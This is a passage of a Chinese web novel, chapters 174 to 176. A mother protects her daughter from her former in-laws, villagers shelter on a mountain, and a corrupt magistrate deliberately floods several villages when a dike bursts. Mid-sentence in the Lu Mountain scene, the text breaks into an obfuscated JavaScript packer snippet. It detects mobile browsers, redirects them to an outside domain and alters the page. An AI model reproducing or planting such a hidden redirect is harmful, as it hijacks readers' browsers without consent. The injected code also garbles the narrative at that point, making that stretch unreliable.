榴花巷的四邻跟先前一样,正往排水管道口倒污水,见到程诺经过,其中几人跟她抬手打招呼,其他几个看到她扭头就走。 程诺一一回应打招呼的邻居,很快在人堆里找到苏阿花。 苏阿花双腿裤脚卷到膝盖,露出精瘦的小腿肚,见到程诺热情走上前,问:“你不是回村了吗?怎么突然回来了?” “来看看家里人。”程诺问,“我走这段时间,家里还好吗?” 苏阿花脸色不算好看:“人没啥大事,就是风言风语攒的唾沫星子快把你家淹了。” 程诺见她意有所指,立刻明白是谁干的好事。 “孟家人说我什么?不守妇道?还是不孝婆母?” 苏阿花一脸惊诧:“你都知道啊?” “她们也就这点本事了,翻来覆去也不嫌腻。” 苏阿花提点道:“你别不当回事,巷子里好几户人家信以为真,刚刚瞧见没,那几个对你没好脸的,都是平日里跟孟家走动比较频繁的。若是其中一两个存了坏心思,你这经常不在家,万一被钻了空子,就不好了……” 她的话点醒了程诺,想起梦中的惨状。 难道小盼儿的突然失踪,是跟孟家人有关系? “谢谢嫂子提醒我,我不在家的时候,还劳烦您多帮我照应着,特别是陌生人,格外提高警惕。”程诺。 苏阿花:“放心吧,婶子帮你盯着呢。对了,我昨天瞧见你女儿,叫小盼儿是不是,她被孟思静牵在巷子后头,不知说了些什么,我去的时候,人已经走了。” 程诺脑中警铃大响,加快脚步进了院子。 “大嫂,小盼儿呢?” 赵氏正在浣洗衣物,闻言抬起头:“四娘回来啦,盼儿刚还在院里跟金玉、珍珠玩儿呢,武氏看着她们的。” 院中没人。 赵氏奇怪道:“去哪儿了?兴许是玩累了,去二房屋里听背诗去了。” 侧屋里有朗朗读书声传来,程诺推门进去,依旧没看到小盼儿的影子,却看到了本该在院中的金玉珍珠。 顾寒栀见她面色不好,问:“怎么了?找什么呢?” 程诺急得手心出汗:“二嫂,看到小盼儿了吗?” 顾寒栀微笑道:“她刚闹肚子疼,与华带她去如厕了。” 榴花巷是公共厕所,最近几天水下不去,屎味冲天,各家在屋里备了马桶。 听到程诺在找她,正在蹲坑的小盼儿尖着嗓子喊道:“娘,我在拉屎呢。” 第一百七十四章 献计献策 程诺这才松了口气。 见小姑回来了,孩子们的心思也不放在背诗上,拉着她询问这两日的经历,在听到她说教大伙儿在鹿山上安营扎寨,夜宿雨棚的时候,程云和与君眼里闪着光。 “听上去好有意思,我也想去,小姑,你下回什么时候走,带上我一起吧。” “等洪涝来了,你就不会觉得住在外头是有意思的事了。”程诺戳他的脑袋。 与君问:“真的会有洪灾吗?咱们住的地方安全吗?要不我们也去山上避难吧,洪水总不会蔓延到山上。” 程诺摇摇头:“不用,榴花巷的整体地势偏高,若连榴花巷都保不住,整个清河县都得覆灭了。” “可我怎么看巷子里到处都是积水,洪水还没来呢,已经淹到小腿肚了。”程云嫌弃地朝窗外瞥了一眼,污浊中混着杂物的淤水里,隐约可见不少耗子尸体。 是排水系统不合理,造成淤泥堵塞,改一改底下繁复的管道就行了。 程诺:“二嫂,我二哥呢?” 她当初选择上山跟村民待在一处,提前规划好家中人员安置。 程二顺心思机灵,程三虎力大无穷,有二人镇守在家,她在外才能安心。 顾寒栀道:“昨日府衙下发文书,榴花巷每户人家要出一个劳力,到城外搬防洪麻袋。” 与华眼眶红红:“小姑,你不知道,麻袋可重了,爹回来的时候肩膀上全青了。” 与君咬牙切齿道:“那些人根本不给休息时间,除非家里有人肯替换,不然就得一直在位置上干到倒下。” 程诺眉心微皱:“没有青壮年劳力的家庭怎么办?” 顾寒栀明白她的意思,解释道:“那就妇人上,但也有例外,比如后面那户,因为家里出了个举人,官兵睁只眼闭只眼,还有那位,有孕在身,加上跟官府关系好,官兵以礼相待。其他人就没那么好的运气了,实在不想受罪的,只能拿钱解决,你知道的,这年头,钱能让人死,也能让人活……” 屎到临头,开始找茅房。 衙门的人早干什么去了。 什么搬运泄洪麻袋,不过是官员让老百姓替他们的贪腐擦屁股,他们也知道一旦洪水来临,脆如纸的堤坝不堪一击,这时多囤点麻袋,能扛一时是一时。 实在最后抗不下去,上头归罪下来,他们也能说,尽力了,实在是无能为力。 说话间,程二顺回来了,程三虎休息完,准备去接哥哥的班。 程诺拿出事先准备好的沟渠图,道:“三哥,别去了。” 程三虎不解:“不行的,官府的人凶得很,不去会上门抓人。” 程诺晃晃手上的图纸:“二哥,你把它交给官府,没人会再来催咱们抗麻袋。” 程二顺翻开看了两页,眼神由疑惑转为震惊,接着是狂喜,最后又掺杂了些惋惜:“这么好的东西,真要白送给官府吗?多可惜,若是放在平日里,没准还能得到府衙不少奖赏呢。” 他们这两天扛麻袋,连午膳都是自备的,可见官府穷到什么地步。 程诺笑道:“不可惜,二哥你想,若真是太平盛世风调雨顺,这幅沟渠图最多被压在知县老爷案牍底下,难得见天日,而现在不同,县太爷正为怎么疏通淤泥愁得焦头烂额,我们此时献计,只要不是太过分的要求,他不会驳回的。” 程二顺心里一喜,几乎脱口而出:“那能不能用这个换你二嫂他们的自由身?” 程诺静静望着他:“若可以,我一早拿出来了,何必留到现在。” 程二顺扯出一抹苦笑:“是我妄想了,罪奴枷锁难解,我还是得想想别的办法。” 到底多大的功劳,才能抵消罪奴的过错。 这问题太难,远超程二顺过往认知。 之后,他按照程诺交代的话,到衙门献上了沟渠图,衙门师爷一瞧,当场喜上眉梢,不仅同意免去程家人的劳役,甚至减免了程家三年的税收。 只是现如今地里庄稼全**,这项福利反倒成了空口支票,没什么意义。 很快,有成批的瓦匠工匠在镇上各处疏通改善起排水口,困扰榴花巷多日的积水问题,终于得到纾解。 程诺前往鹿山前,再次将女儿叫到屋内。 小盼儿长高了,如今已经快到她大腿位置,扬起小脸瞧着她,眼神里依依不舍:“娘,你又要走了吗?这回能不能把盼儿带上?” 孩子待在身边,她时刻看着,会不会梦里的情形就不会发生。 一瞬间,程诺心动了。 可理智最终占据上峰,榴花巷比鹿山安全,冰雪消融,正是野兽下山寻食的关键时刻,真乱起来,她未必有能力护小盼儿周全。 能有挡风遮雨的瓦片,比栖身茅屋草舍强得多,更何况还有亲人傍身。 除非有心人故意扰局,程诺想不出盼儿丢失的原因。 想起昨日阿花婶子的话,程诺蹲下身,将小盼儿头顶的两个啾啾整理好,问道:“盼儿最近是不是见到从前认识的人了?” 小盼儿歪着脑袋,眨眼思索,随即点点头:“是的。” “是谁?她跟你说什么了吗?” 小盼儿鼻腔哼了一声,双手叉腰,小脸皱成一团,似是十分生气:“是从前住一起的坏女人,她让我回家偷粮,还骂我是没爹要的小野种。” 孟家没粮了?注意打到小盼儿这个被孟家抛弃的女儿身上。 当真可笑。 听到这话,程诺安心不少,她生怕孩子太小,分不清善恶,被孟家人用亲情捆绑,三言两语着了道,骗了去。 若只是骗吃骗喝还好,若是藏着别样心思,她决不能允许。 “那我们盼儿有没有骂回去?” 小盼儿一脸骄傲:“当然有,我让她滚远点,不许再来我家,不许再来找我。” 程诺笑眯了眼:“真棒,不愧是我女儿,对付这种不要脸的人,不能心慈手软,但盼儿,还有一点你要注意,你还是个孩子,是个谁都能拿捏的小不点,真的遇到危险的时候,光嘴巴厉害是不行的,我们得动脑子。” 小盼儿不解,睁着大眼睛疑惑地望着她。 程诺站到女儿面前,两人以面对面的姿势站立。 程诺问:“盼儿,如果有人打你怎么办?” 小盼儿不假思索:“还回去。” “那如果对方比你高,力气比你大,怎么办?” 小盼儿歪头:“找二哥,找舅舅们。” “那哥哥和舅舅们都来不及救你呢?”程诺设想的是极端条件下可能遇到的麻烦,语气跟着严肃起来,“我教你一招,看好了,如果对方是从背后揪你头发或掐你脖子,双手反扣住,转身抬脚用力踹;如果对方是从对面推你,你像娘这样……” 程诺一步步示范动作,又拉着小盼儿演习几遍,还是觉得不够。 孩子太小,真遇上成年人,即便技巧学得再多,力气上还是差一大截。 程诺干脆从空间买了瓶防狼喷雾,个头小,威力却大,平时藏在袖子的口袋里,别人察觉不到。 “娘给你的东西,贴身收着,片刻不能离身。平日里最好不出门,非要出门一定要跟在大人身后,发现不对劲立刻找人求救。” 小盼儿学会防狼喷雾的使用方法后,连连点头:“知道了。” 程诺又去叮嘱程母几句,特地提到梦中小盼儿丢失的事。 程母听到一阵后怕,抱紧外孙女:“我会时刻盯着她的,你放心。” 程诺确定没有遗漏,才惴惴不安上了鹿山。 时日转眼到了下暴雪前夕,飞虹渡和十月桥之间的大坝,是在暴雨第二日坍塌的,那时候官府已经做出决定,舍弃云溪村和灵水镇。 鹿山上。 大梨村的百姓正各司其职,准备午饭。 以十七为首的猎户族,在山上设陷阱,收获颇丰。 贵婶带领的捕鱼组,正在溪水边用竹筐拦截鱼,抓到一两条小鱼,也能高兴半天。 剩下的小孩子懂得辨认野菜的,上山挖野菜,懂药理的何大夫带着剩下的那些专门寻找草药,最好是既能吃又能用的那种,比如葛根、野生木槿叶…… 营地里留着十几个男人看守营地,最里层的是看顾幼童的妇人,防止有野兽攻击,或者是别村逃难的人,想趁机偷鸡摸狗。 就在昨天晚上,巡逻的人还抓到一个鬼祟的身影,一开始以为是外村人,后来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15530561|169166||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 火把一照,才看清是高家老二的女儿,高娟儿。 高家不愿意上山,死守村子的消息大伙儿都知道,看到落单的高娟儿很是奇怪。 本想派人把她送回去,没想到她死活不肯走,只一味说要找程四娘。 最后没办法,贵婶先将她安排进妇人的营帐里。 程诺来时,还带了许多生石灰,洒在营地外围,可以防止蛇虫鼠蚁侵扰。 见有人随处在草丛中大小便,意识到忘了建造便溺池。 立马叮嘱大伙儿挖深坑,每日用草木灰覆盖,以后便溺处分成两波,一处在北面,一处在南面,男女分开,不能串用。 吃完午饭,十七找到程诺,二人围着营地一圈走动,将这两日种种复盘,就当是巡逻了。 二人并肩走着,程诺突然发现他好像又壮了不少,再也没了初见时小鸡仔般瘦弱的模样。 “不错啊,我们家将你养得挺好的。” 程诺声音染上笑意,精神崩了几天,现在一切准备好,心中反倒没那么慌张了,就像之前的雪灾,他们有充足的准备,不就平安度过了吗? 十七边走边收集地上的鹅卵石,他白日里做了几个弹弓,可以用来击退野兽,闻言跟着笑出声。 “你笑什么?”程诺问。 十七眉眼舒展:“想起刚见你的时候,你在赶猪,当天晚上我就梦到你了。” 程诺脚步一顿,左右看看,确定四下无人,声音有些结巴:“你也太直接了吧……” 十七疑惑地抬起头,见面前人眼光闪闪,好似比头顶上的星辰还明耀。 程诺好奇道:“那你梦里的我,是什么样的?” 十七想起那个刻骨铭心的梦,“梦里你骑在猪身上,闯进我房里,手里挥舞着杀猪刀,出手利落砍掉一只猪的脑袋,转过身幽幽望着我,说……什么活儿都不干的人,还想吃肉吗?” 程诺:“……” 梦到她骑猪她忍了,为什么梦里的她听着像个抠门的悍妇? 程诺气笑了,后槽牙咬得吱吱响:“原来我在你心里是这样的?我没给你肉吃吗?你这一身腱子肉从哪长出来的?平白无故变出来的不成?” 十七见她脸色不好,忙解释:“没有没有,那只是初印象,谁让你见我第一面就扒我衣服……” 扒衣服? 程诺好不容易从记忆深处搜寻到零星半点印象,好像是有这么回事,她当时怀疑十七的身份,想看看从他身上能不能找到线索。 即便是现在,她依旧觉得眼前人,身份不一般。 说起这个,程诺顺势问出口:“你身上的那些伤哪儿来的?要么别说,要说就别拿谎话哄人,我也不是很想听。” 看眼前女子转过头傲娇的模样,十七一直紧紧关闭的心门,在今夜仿佛被四下荡起的微风扰乱,缓缓张开口。 “伤很多,你想先听哪一个?” “那就先说后背上的鞭伤吧。”程诺拿眼睛觑他。 十七:“鞭伤是父亲打的,他觉得我不听话,总忤逆他。” 程诺震惊得张大嘴:“我还以为你仇人动的手呢,亲父子多大仇啊?” 她见男人眼神暗沉,没有继续问鞭伤,反而问起腰腹位置的剑伤。 “哎~这几刀确实是仇家干的,差点要了我的命。”男人神色轻松,仿佛在说别人的事。 程诺皮笑肉不笑:“你干什么事了,仇家招招要你命,挖人家祖坟了?” 十七眼皮一掀,无奈地看了她一眼:“差不多吧,年少时一腔热血去参军,也算闯出点名堂,动了一些人的利益,俗话说得好,断人财路,如**老母。我跟他们之间横亘着血仇,可不得要我命吗?” “你还当过兵呢,”程诺眸光微闪,“到什么位置了?百户?千户?” 十七张了张嘴,不确定是否要将实情告知,万一给程家人带来麻烦,那些人的手段太阴狠,他不敢拿全家人的性命冒险。 不知不觉间,他竟将程家人划入家人范畴,再看他的亲生父亲,现在没准正跟那对母子其乐融融,共享天伦之乐吧? 什么是家人?骨肉相连血浓于水未必盼你好,萍水相逢同舟共济或许才是真。 第一百七十五章 堤坝塌了!洪水来了! “不想说没事,我有个问题想请教你。”程诺难得端正态度,双眸炯炯有神。 “你说,我听着。” 程诺缓缓将顾寒栀的经历说出口,问道:“像我二嫂这样的,想要摆脱罪奴身份,除了天下大赦皇恩浩荡,还有别的办法吗?” 十七唇舌间慢慢将“顾”这个姓氏品味了两遍,十几年前被流放西北的顾家,他若没记错,应该是参与科举舞弊案件的翰林大学士顾北望。 当时他只是个十岁出头的少年,刚因顶撞主母,被父亲罚二十廷仗,不愿接受继母虚情假意的关心,觉得府中众人没一个真心为他好,拖着一身伤偷溜出来。 正好撞见街道上万民情愿,要求严惩科举舞弊案的主犯,还寒窗苦读学子们清朗公正。 他记得那场案件的最后,就是主考官被抄家流放,累及三族。 他之所以能记得这么清楚,是因为后来主考官翰林大学士的位置,被他那个佛口蛇心继母的弟弟接任,本就荣耀无极的一家人,更是锦上添花,不给他一星半点苟延残喘的角落。 十七的思绪慢慢飘回:“罪奴一般是犯了重罪的,想要摆脱身份,除非立下举足轻重的军功,但你嫂子是个女流之辈,想立军功几乎是不可能的。” 程诺焦急道:“除了这个没别的法子吗?” “有。” 程诺瞪大眼睛等着下文。 “若是有人愿意用军功抵扣她的罪行,也是可以的,可天底下又有多少傻子愿意为了女人,浪费锦绣前程。” 程诺接着问:“只有上战场才可以立军功吗?” 十七摇摇头:“非也。非常之功,不拘常格。前朝便有抗洪将领裴怀古因救民有功,破格提拔为‘忠勇校尉’,《大盛法典》中有言,救灾如御敌,抢险官兵也可按照军功三等行赏。” “军功三等可以脱奴籍吗?” 一道急切的声音,从灌木丛后头冒出来,十七嘴角笑意微不可查扩大,藏了这么久,还是忍不住了。 程三虎在后头喊道:“二哥,小妹还没问完呢。” 程二顺是跟着程诺一起上山的,程三虎是跟在后头偷溜来的。 程诺:“三哥,你怎么也来了?不是让你在家照顾娘吗?” 程三虎摆摆手:“是娘让我来的,她说我这么大个子,不把力气花来帮村民,太可惜了。” 程二顺抬脚跨出灌木,因为动作太急,差点被上头的树枝绊倒,他跌跌撞撞走到男人身边,再次问出口:“军功三等可以脱奴籍吗?” 十七摇摇头。 程二顺一脸失望。 “那要几等功?二等?一等?” 十七抬手拍拍他的肩膀:“如果嫂夫人是主犯的旁支亲眷,没准三等二等功就行了,若她是主犯的直系血亲,非一等功不可救。” 程二顺神色有眼可见落寞下来:“怎么才能拿到一等功……” 如果折了他这条命,能换来妻儿良籍,他会毫不犹豫舍出去,可就怕他死千百次,也达不到领军功的要求。 他像是魔怔般,双目无神,看得程诺心慌,她晃了晃程二顺的胳膊,似是猜到他的用意:“哥,你别犯蠢,二嫂不会愿意看到你用命给她们脱籍的。” 程二顺几个深呼吸后,稍稍缓神,再次看向十七:“听你刚说的例子,这些领军功的人,都是参了军的,是不是非得参军才能立军功。” 十七:“自然。” “好,我知道了。”程二顺转头离开,方向是往鹿山山下走。 程诺在后头喊:“二哥,你去哪?” 十七拦住她:“衙门前两日广发贴文,要征兵,告示上虽没明说,猜也猜得到,这些兵是派去抵抗洪灾的,所以没什么人自愿报名,我想他是去那儿了。” 程诺急得手心出汗:“他是去送死!要真有个好歹,爹娘不得哭死!” 十七劝道:“他是个男人,不能为妻子儿女放手一搏,一辈子都会活在愧疚中,不管这回行或是不行,总归他试过了,今后在儿女妻子面前,也能抬得起头。” 程诺是个护短的人,程二顺是她二哥,她虽同情顾寒栀的遭遇,却也不想用二哥的命去换顾氏三人的身份。 她怕死,她胆小,当年被家人卖去斗兽场,只要能活着,干什么都行,哪怕活得不像个人又怎么样,只要有口气,她迟早能走出这牢笼。 人死了,才是真的什么都没了。 程诺不知道程二顺从军成没成功,暴雨却在第二日如约而至了。 天像是被戳破了般,雨线如箭,射得人睁不开眼。 飞虹渡与十月桥之间堤坝在洪水的冲击下发出低沉的呜咽,仿佛一头负伤的困兽。 “再加沙袋!动作要快!” 堤坝上,杨县令的喊叫声此起彼伏,却几乎被雨水湮灭,他身上的蓑衣早已湿透,师爷跟在身后,时刻注意县令的安全。 “东边再垒得高一些!”杨县令撕扯着嗓子吼着,几个壮汉咬着牙,扛着装满泥土的草袋,踉跄着往堤上爬。 突然,前面的人脚一滑,连人带沙袋摔进河里,要不是身后人拽住他的衣领,那人也会随沙袋般被席卷的河水拍打在岩石上,随后摔得四分五裂。 “多谢了,兄弟。” 待他站稳,身后人才松了手,重新掂了掂肩膀上的沙袋,大跨步往东边堤坝上走。 看到这一幕的杨县令,抬手指着男人问:“那人是谁?新来的吗,从前没见过。” 师爷雨幕中仔细辨认,才道:“是昨日刚来报道的,叫程……程二顺,家住大梨村,是个有力气的汉子。” 杨县令嘴里细细琢磨着两个字:“大梨村……大梨村的啊,可惜了。” 师爷明白他话里的意思,还是踌躇着开了口:“老爷,其实咱们商讨泄洪方案的时候看了,大梨村地势没那么低,就算不作为泄洪村镇,也出不了什么大事。” “你懂什么!”杨县令口吻严肃,“大梨村是冯姑娘特地交代的,一定要淹掉。” 师爷忙点头:“是是是,冯姑娘是老爷的福星,帮您解决不少麻烦,可冯姑娘一介女流,真的懂泄洪之道吗?毕竟是几千口人的性命,您要不要再斟酌斟酌?” 杨县令哪里听得进他的劝诫,头顶斗笠被暴雨击打得七零八落,他烦躁不已:“各村的村长和里正到了吗?” 师爷忙道:“到了到了,已经在对岸看半天了,您救灾抢险的高大身姿,一定会在老百姓之间广为流传的。” “那就好,不枉我起了个大早,又在暴雨里待了半天。”杨县令露出一抹舒心的笑,抖抖身上数不清的泥点子,“赶紧回去烧热水,本官要沐浴,再蒸壶好酒,这里你派人盯紧些,堤坝一旦垮了,立刻安排泄洪,在此之前不要透露风声,以防村民暴乱。” 师爷无奈点点头:“属下知道了,不会让老爷担心的。” 杨县令在两个士兵的搀扶下,晃晃悠悠走了,路过村长和里正面前时,特地多留了片刻,听他们口中对他的溢美之词。 美的下巴上的小胡子,一颤一颤的。 大梨村、云溪村和灵水镇几个村子的村长都到了,杨县令今日难得和颜悦色,多夸了几句他们工作细致,等暴雨退了,要给大伙儿奖赏。 众人纷纷道谢,真心实意觉得摊上个好官,却不知噩梦即将来临。 程村长年纪到了,这回是儿子平安陪着一起来的。 云溪村的孙村长对比几个月前,好似老了十来岁,程村长乍一眼没认出来。 孙村长还记恨程诺没教会他们村滑雪一事,连带着程村长没有好脸色,瞪了一眼,转身就要走。 灵水镇的几个村长倒还好,平日里没什么交集,一年到头见不了几次面的点头之交,打了个招呼便要离开,村里还有很多事等着他们回去处理。 程村长喊住众人:“大伙儿听我一言……” 众人停住脚步,投来疑惑的视线。 “这回的暴雨恐怕不简单,我们村的百姓都去山上避险了,大伙儿若是不嫌麻烦,能去山上躲躲,就去躲躲吧。” 这是临出门前,程诺找到他,特地交代要传达的话。 云溪村靠近熊山,灵水镇附近却没高耸的山可躲。 孙村长鼻腔冷哼一声:“胆小怕死,暴雨而已,有堤坝挡着能垮不成,还是你觉得朝廷建造的堤坝是纸糊的?程老头,你难道在暗戳戳示意堤坝的工程款被官员们贪污了?你是想说被咱们的杨县令中饱私囊了吧?” 程村长呵斥:“我何时说过这种话,你别血口喷人!” 污蔑上官是重罪,姓孙的太歹毒,风言风语若传到杨县令耳中,非但村长位置保不住,没准一家人还有牢狱之灾。 “姓孙的,我跟你无冤无仇,你别害我!” “就是没怨没仇,我说的话可信度才高,你急什么?大伙儿还以为你是被我说中了,恼羞成怒呢!” 眼看两边人马,隐隐有动手架势。 灵水镇的里正和村长忙将人拉开。 孙村长啐了一身,大摇大摆走了。 留下灵水镇的村长和里正,在思考程村长提议的可行性。 平安:“灵水镇周边没有大山,你们若不嫌麻烦,可以转道来我们鹿山,昨天我观察过,鹿山还有几块地,可以至少容纳一两千人,只是环境肯定比不上家里,吃苦受罪是肯定的,但活命的几率也会大很多。” 灵水镇下有三个村子,一个村长觉得可行,一个在观望,村子离得最远那个,当场摆手没同意,先一步离开了。 最后在大伙儿的劝说下,观望的村长也同意将村人带上鹿山。 这一日的暴雨,只持续了半日。 灵水镇的两个村子,最后搬来鹿山的人数比预先的少一半,另一半人见不下雨了,又觉得没有必要跑这一趟。 大多数百姓来自一个叫竹园村的小村落,小部分来自桑麻村。 不管村长怎么劝说,就是不愿意来,最后怕耽误下去,影响另一半愿意进山的村民,村长放弃劝解,安慰自己,没准真的如村民所料,暴雨就这么停了呢。 有了大梨村百姓的帮忙,很快竹园村和桑麻村百姓的窝棚搭好了。 就在当天夜里,暴雨再次来袭,这回没有停歇,一直持续到第二日下午,天空依旧一片漆黑,宛如黑夜,让人一时间分不清白日黑昼。 程诺等人站在山上,向下打量远处的村庄,茅草屋顶在雨中模糊一片,烟囱早没了炊烟,家家门户紧闭。 只听“咔嚓”一声从山下传来,众人的血液冻住了,程家门前的百年老榆树倒了。 可见湍急的水流有多急,力道多强。 大榆树尚且如此,堤坝呢? 当天夜里,也可能没到夜里,天黑,分不清时辰。 一种闷雷般的声音从飞虹渡和十月桥之间堤坝方向传来,不知谁先喊出的第一声: “堤坝塌了!洪水来了!” 接着越来越多的喊叫声响彻天空,好似从四面八方传来。 “堤坝塌了,快逃!” “去山上,快去山上!” 鹿山上的百姓一阵后怕:“堤坝,竟然真的塌了……” 很快大伙儿意识到不对劲,纷纷骂起来:“才建了三年,两天的暴雨就塌了?里头没猫腻打死我也不信!” “还用说,肯定是被贪官瓜分了,到头来倒霉的还不是我们这些下层老百姓!老天爷你睁睁眼,来一道响雷劈死这帮贪官吧!” 像是为了相应百姓的话,天空真的“哗哗哗”连续响起三道惊雷。 惊雷划破天空,天地之间终于有了一抹亮色,正是这抹亮色让大伙儿看到远处席卷而来的巨浪。 比房屋高,比树枝高,纵使快马疾驰也赶不上它靠近的速度。 “那……那是洪水吗?” 胆小的村民已经被吓尿了。 程诺幽幽地望向远方:“他们真的泄洪了。” 贵婶抱紧绿草,吓得身体都在颤抖,还不忘问道:“什么意思?官府不管我们了吗?这么大的浪打过来,房子一定会坏的。” 程诺声音冷得没有一丝温度:“官府不是不管我们,是彻底放弃我们了,要用我们几个村子百姓的命,给其他村民挣活路……” 人群中还有人没听明白:“我们的命,换他们的命,怎么换……” 已经琢磨出意思的人,脸色煞白,面露惊惶:“官府要将洪水泄到咱们村子里来,那得死多少人啊……” 竹园村的村长也在鹿山上,桑麻村的村长却因大多数村民不愿意上山,选择留在村里。 一瞬之间的选择,既是生与死的考量。 “来了。”程诺沙哑的声音,宛若遥远国度的丧钟,提醒众人,死神带着镰刀来收割人命了。 第一百七十六章 孟南洲后悔了 洪水咆哮着扑向稻田,程村长看着那浪头如何吞噬他守护了几十年的村庄,先是碾过稻田,稻田里没有庄稼作物被糟蹋,这可能是唯一值得庆幸的事。 接着不知谁家院里千斤重的碾盘,竟像孩童的陀螺般打着旋儿飞出去。 最后扑向村舍,茅草屋顶像被无形大手掀开,露出横梁上挂着的家伙事儿、刚晒干的苇席、还有家家户户门楣上贴的“五谷丰登”门笺,全成了洪水里的碎屑。 “快看!那是高大福一家吗?” 贵婶的喊叫声在众人心底炸开,顺着湍急的洪水看过去,真的在高架屋舍方向看见几个起起伏伏的身影。 高大福抱着红木圈椅舍不得松手,高老大高老二正在争抢一块掉落的房梁,你给我一掌,我踹你一脚,老大媳妇老二媳妇抱在一起痛哭,大喊各自儿子的名字。 很快被又一轮巨浪迎头打断,不仅是他们,其他几个没有听劝搬离的村民,无一例外被洪水卷走。 “娘!爹!” 高娟儿撕心裂肺的叫声自众人身后响起,听得人心惊。 不管从前有多少龃龉,此刻人命当前,都化作一声叹息。 “叔伯姑嫂们,求求你们,救救我爹娘,还有我弟弟,他还小,呜呜呜……” 高娟儿的脑袋一下下砸在泥地碎石上,磕得头皮青紫。 “洪水太大了,救不了的!”众人摇摇头,“娟儿,我们给过你爹娘他们很多次机会,他们不听啊!” 有妇人道:“我们不能为了微末希望,放弃自家人的性命,孩子,你别怨大伙儿,真的是帮不了啊!” 高娟儿磕头的动作停下,淡薄的背脊抖动得更加厉害。 程诺上前将人扶起来,替她擦拭眼角的泪珠,高娟儿终于忍不住,一下子扑进她怀里,发泄全部悲痛般大声哭泣起来。 “哭吧,好孩子,人还要向前看的。” 不过是说话的功夫,刚才还看得见攒动的人头,一眨眼的功夫被一股巨浪一起带走了。 大梨村尚且一片惨状,更不用说其他几个村落,程诺想象得出必定是尸骨遍野,人间惨剧。 云溪村几乎灭村,只有结果动作快的,没有顾忌家中细软,一溜烟爬上高树,又觉得树不够结实,干脆顺着树爬上旁边的岩石堆,这才侥幸保下一命。 可家园没了,亲人没了,钱财细软都没了,孤零零一个人留在人世间,有人受不了这个刺激,得救后依然想不开,跳进洪水中结束生命,剩下几个没自杀的,精神也恍惚了。 灵水镇的几个村镇,情况大体相似。 而榴花巷内,因为有程诺提供的排水图,加上洪水被其他村镇吸引主要火力,受灾情况并不明显。 琼枝将得来的消息,告诉廊下休憩的女子:“姑娘,淹了,杨县令按您说的,都淹了。” 冯知意缓缓睁开眼,这么久终于听到件令她舒心的事:“程家人呢?死了吗?” 琼枝:“应该除了前院住着的几个,都死了吧,毕竟这么大的洪水,谁躲得过呢!” 前院只剩几个老弱妇孺和两个没成年的少年,对付起来太容易。 冯知意笑道:“去,把消息告诉隔壁院里的人。” 琼枝欢天喜地跑过去,正好瞧见孟母盯着米缸发愁,又空了,这回该去问谁借银子呢? “老夫人,没米粮下锅了呀?”琼枝一脸惋惜的口吻。 孟母瞪了她一眼:“怎么着,你主子愿意借我点银钱?” 她还记恨前两日登门找冯知意借银子买粮,被她四两拨千斤拒绝的事。 琼枝捂嘴偷笑:“我们主子那点银子,都花得差不多了,不过我今日听到一则消息,想必会给老夫人带来生财之道。” “拐弯抹角,有屁快放!”孟母腹中饥饿,耐心消耗得更快。 琼枝指了指前院方向:“昨夜暴雨,飞虹渡的堤坝毁了,洪水一路漫到云溪、大梨和灵水三个村镇,所到之处,千山鸟飞绝,万径人踪灭。您前儿媳跟她几个兄弟都没了,程家剩下的两个男娃,还没成年,这时候若有人生了坏心思,见孤儿寡母落难,想分一分程家的产业,可怎么办才好?” “活该!” 孟母闻言,顿觉大快人心,顾不上饥饿,忙把孟思静喊来,一起分享乐事。 孟思静:“死了就死了呗,程家还有两个孙子呢,男人又没死绝,财产怎么都分不到我们头上。” 关于财产,孟母起先真没往这处想。 此时像是被突然点醒一般,怎么就分不到她们头上,她们不还有个有血缘关系的孙女吗? 程家男人是死了,但她儿子曾是赘婿,也算程家半个儿子啊。 此时替程家人撑起门楣,理所应当的事。 孟母越想越激动,一路小跑到孟南洲屋里。 暴雪后接着暴雨,书院早关门了,孟南洲没地方去,成日里不是待在院中,就是去隔壁院里陪冯知意。 冯知意有孕时间变长后,人没了当初的温柔知意,性情上有了不小的改变,时常身体不适,不能陪他赏花弄月,他去了不是捶腿就是捏肩,偶尔想亲近也被她拒绝。 时日一久,他连隔壁院也不想多待,每日点卯般应付两下,其他时候更乐意待在书房,跟书为伴。 书读累了,脑子放空,思绪飘远,不由得想起在云溪村的那段日子,生活比现在清贫,乐趣却多。 程四娘总想尽办法讨他欢心,虽然她的办法低俗又无趣,常适得其反弄得他烦躁不已,但至少当时她舍得为他费心思,一颦一笑都依照他眼色。 现在呢,听说她赚了钱,买下前院的屋子,明明两人离得这么近,也没见她露过一面,明明他已经给过她那么多次机会。 甚至站在巷口毕竟路上,只为了看她一眼,想她见到他时,震惊、惶恐、眷恋或者爱慕的眼神。 却只看见她跟那个叫十七的男人,多次并肩而行,二人有说有笑,甚至没发现站在一旁的他。 孟南洲想起来便有一股无名火涌上心头,“撕拉”一声,手下书本的纸张被扯破了。 孟母推门进来时,脸上堆满了笑容:“儿啊,喜事,天大的喜事。” “外头洪水肆虐,家里米缸见底,我读书院的事迟迟未定,喜从何来?”孟南洲随手将书本丢弃,摊开画纸,提笔作画。 笔锋流畅,落笔干脆,他擅长作画,多年来以画为友,早练就成笔随心动的本事。 孟母见他神情懒懒的,一天到晚不是看书就是画画,从前还爱往冯知意院里跑跑,现在连那儿也懒得去了。 男人果真都是贱骨头,得到了就不会珍惜。 “洪水挨不到咱们,米粮的事娘也想到解决办法了,你麓山书院读书的事不是板上钉钉了吗?只是天灾面前,往后捎一捎罢了。”孟母笑得一脸欣慰,“这些还算不上好事吗?” 孟南洲笔尖未停,淡淡道:“你到底想说什么?这次又问谁借钱了?” “不是借,是咱家要发一笔横财了!” 孟南洲顿笔,终于舍得抬眸:“什么意思?” “一户人家成年男丁全死了,作为这户人家唯一剩下的亲眷,你该不该得到全部遗产?”孟母眼神发光,宛若一条夜晚紧盯猎物,伺机而动的毒蛇。 孟南洲先是一愣,他哪有什么亲人,他跟娘和妹妹,是被养在外头的,连孟家族谱都没上。 突然之间,孟南洲脑海中闪过一种可能性…… 